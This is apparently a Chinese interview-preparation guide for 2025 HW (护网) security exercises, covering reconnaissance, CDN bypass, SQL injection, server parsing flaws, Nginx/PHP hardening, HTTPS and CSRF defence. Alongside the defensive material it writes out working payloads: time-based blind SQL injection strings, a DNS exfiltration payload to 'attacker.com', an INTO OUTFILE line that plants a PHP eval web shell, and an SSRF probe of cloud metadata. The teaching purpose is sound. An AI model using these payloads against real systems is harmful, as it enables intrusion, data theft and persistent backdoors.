2025年HW(护网面试) 34
复制代码
1、网站信息收集
2、怎么寻找真实IP(cdn绕过)
3、常见漏洞原理和防范
4、sql怎么找注入点、盲注
5、叙述一下时间盲注原理以及用到的各种函数
6、sleep函数被过滤怎么办?
7、sql注入能拿shell么,需要什么权限
8、怎么获得网站的绝对路径?
9、web服务器解析漏洞了解么?
10、Nginx安全配置相关
11、PHP审计流程
12、php怎么防注入
13、php安全配置了解么
14、web渗透流程
15、http了解么、长连接还是短连接、谈谈对http无状态的理解。
16、bp抓https包的原理
17、https实现过程
18、防御csrf的方式?token防御csrf的原理?
一、网站信息收集
核心步骤与工具
类别
方法
工具示例
基础架构
HTTP头分析、端口扫描
Nmap, Wappalyzer
子域名
证书透明度、DNS爆破
Amass, Subfinder
目录文件
敏感文件扫描、备份文件探测
Dirsearch, Wayback Machine
关联资产
反向IP查询、Whois信息关联
Shodan, Fofa
二、CDN绕过与真实IP获取
6大实战方法
历史解析记录
查询DNS历史:SecurityTrails
, ViewDNS.info
全球Ping检测
利用不同地区节点:Ping
+ ASN
归属分析 → 识别非CDN IP
子域名探测
www
域名有CDN → 尝试mail
、dev
等未配置CDN的子域
协议漏洞利用
SSRF响应:http://xxx.com/?url=http://169.254.169.254
(云元数据)
邮件服务器追踪
DNS记录泄露
SPF
记录中的ip4:
声明(如v=spf1 ip4:203.0.113.1 -all
)
三、常见漏洞原理与防御
四大高危漏洞对比
漏洞类型
原理
防御方案
SQL注入
用户输入拼接SQL语句
参数化查询(PreparedStatement)
XSS
恶意脚本注入页面
CSP头:Content-Security-Policy
SSRF
服务端请求伪造内网资源
白名单校验URL + 禁用file://
协议
RCE
系统命令执行函数未过滤
禁用危险函数(如eval()
)+ 权限最小化
四、SQL注入检测与盲注
注入点探测流程
复制代码
mermaid`graph LR A[输入点检测] --> B(单引号触发错误) B --> C{返回异常?} C -->|是| D[报错注入] C -->|否| E[布尔盲注检测] E --> F(1' AND 1=1-- → 正常) F --> G(1' AND 1=2-- → 异常?) G -->|是| H[确认布尔盲注]`
时间盲注核心函数
数据库
延时函数
示例Payload
MySQL
SLEEP()
1' AND SLEEP(5)--
PostgreSQL
pg_sleep()
1' AND pg_sleep(5)--
MSSQL
WAITFOR DELAY
1'; WAITFOR DELAY '0:0:5'--
五、Sleep函数被过滤的替代方案
4种绕过方式
重载延时
MySQL:BENCHMARK(10000000, MD5('a'))
条件错误触发
1' AND IF(1=1, (SELECT 1 FROM INFORMATION_SCHEMA.PLUGINS), 1/0)--
大查询阻塞
SELECT * FROM all_tables t1, all_tables t2
(制造笛卡尔积)
外带数据延时
DNS查询:1' AND LOAD_FILE(CONCAT('\\\\',(SELECT HEX(user)), '.attacker.com\\'))--
六、SQL注入拿Shell的条件
前提条件
操作路径
1. 文件写权限
secure_file_priv
为空(MySQL)
2. 绝对路径获取
通过报错/配置文件泄露
3. Web目录写入
写入PHP一句话: SELECT '<?=eval($_POST[1])?>' INTO OUTFILE '/var/www/shell.php'
七、网站绝对路径获取
7大途径
报错信息
PHP错误:Warning: include(/var/www/config.php) failed
配置文件
/etc/apache2/sites-enabled/000-default.conf
→ DocumentRoot
进程信息
Linux:/proc/self/cwd
→ 符号链接指向路径
框架特性
Laravel:php artisan tinker
→ base_path()
文件包含漏洞
包含/proc/self/environ
获取环境变量
备份文件泄露
命令执行回显
八、Web服务器解析漏洞
经典案例解析
服务器
漏洞原理
攻击示例
IIS 6.0
目录名含.asp
则所有文件按ASP解析
/upload.asp/logo.jpg
→ JPG当ASP执行
Nginx <0.8
路径截断:%00
截断文件名
/test.php%00.jpg
→ PHP执行
Apache
多后缀解析:.php.jpg
当PHP执行
shell.php.jpg
→ 触发PHP引擎
九、Nginx安全配置
6项关键配置
复制代码
nginx`# 1. 禁用敏感信息 server_tokens off; # 隐藏Nginx版本 # 2. 文件访问限制 location ~* \.(ini|conf|env)$ { deny all; # 禁止访问配置文件 } # 3. 防目录遍历 autoindex off; # 禁用目录列表 # 4. 限制HTTP方法 if ($request_method !~ ^(GET|POST)$ ) { return 444; # 非GET/POST请求直接断开 } # 5. 防路径穿越 location ~* \.\./ { deny all; # 阻断../跳转 } # 6. CSP防护 add_header Content-Security-Policy "default-src 'self'";`
十、PHP审计流程
四步代码审计法
复制代码
mermaid`graph TB A[敏感函数定位] --> B[参数回溯] B --> C{输入是否可控?} C -->|是| D[过滤机制分析] D --> E[构造PoC验证]`
十一、PHP防注入方案
3层防御体系
输入层过滤
filter_var($input, FILTER_SANITIZE_STRING)
执行层隔离
PDO预处理:$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
输出层转义
HTML输出:htmlspecialchars($str, ENT_QUOTES)
十二、PHP安全配置
配置项
安全值
作用
expose_php
Off
隐藏PHP版本
disable_functions
system,exec,passthru
禁用危险函数
open_basedir
/var/www
限制文件访问范围
session.cookie_httponly
1
防JS窃取Session
十三、Web渗透流程
五阶段模型
信息收集 :资产测绘 + 指纹识别
漏洞探测 :自动扫描 + 手动验证
漏洞利用 :武器化Payload投递
权限维持 :Webshell + 后门安装
横向移动 :凭证窃取 + 内网漫游
十四、HTTP协议核心问题
问题
技术解析
长连接 vs 短连接
长连接:Connection: keep-alive
(复用TCP连接) 短连接:每次请求新建连接
无状态
协议不记录请求间状态 → 需Cookie/Session维持会话
HTTPS抓包原理
中间人攻击:BP生成伪证书 + 客户端信任CA根证书
十五、HTTPS建立过程
TLS握手六步
Client → Server:ClientHello
(支持密码套件列表)
Server → Client:ServerHello
(选定密码套件)+ 证书
Client验证证书合法性(CA链校验)
Client生成随机对称密钥 → 用证书公钥加密发送
Server用私钥解密获取对称密钥
双方用对称密钥加密通信
十六、CSRF防御机制
Token防御原理
复制代码
mermaid`graph LR A[用户登录] --> B[服务端生成Token存入Session] B --> C[Token嵌入表单隐藏域] C --> D[提交请求时验证Token] D -->|匹配| E[执行操作] D -->|不匹配| F[拒绝请求]`
其他防御方案
SameSite Cookie :Set-Cookie: session=xxx; SameSite=Lax
双重Cookie验证 :请求头携带Cookie + Body携带Token
验证码挑战 :敏感操作需二次验证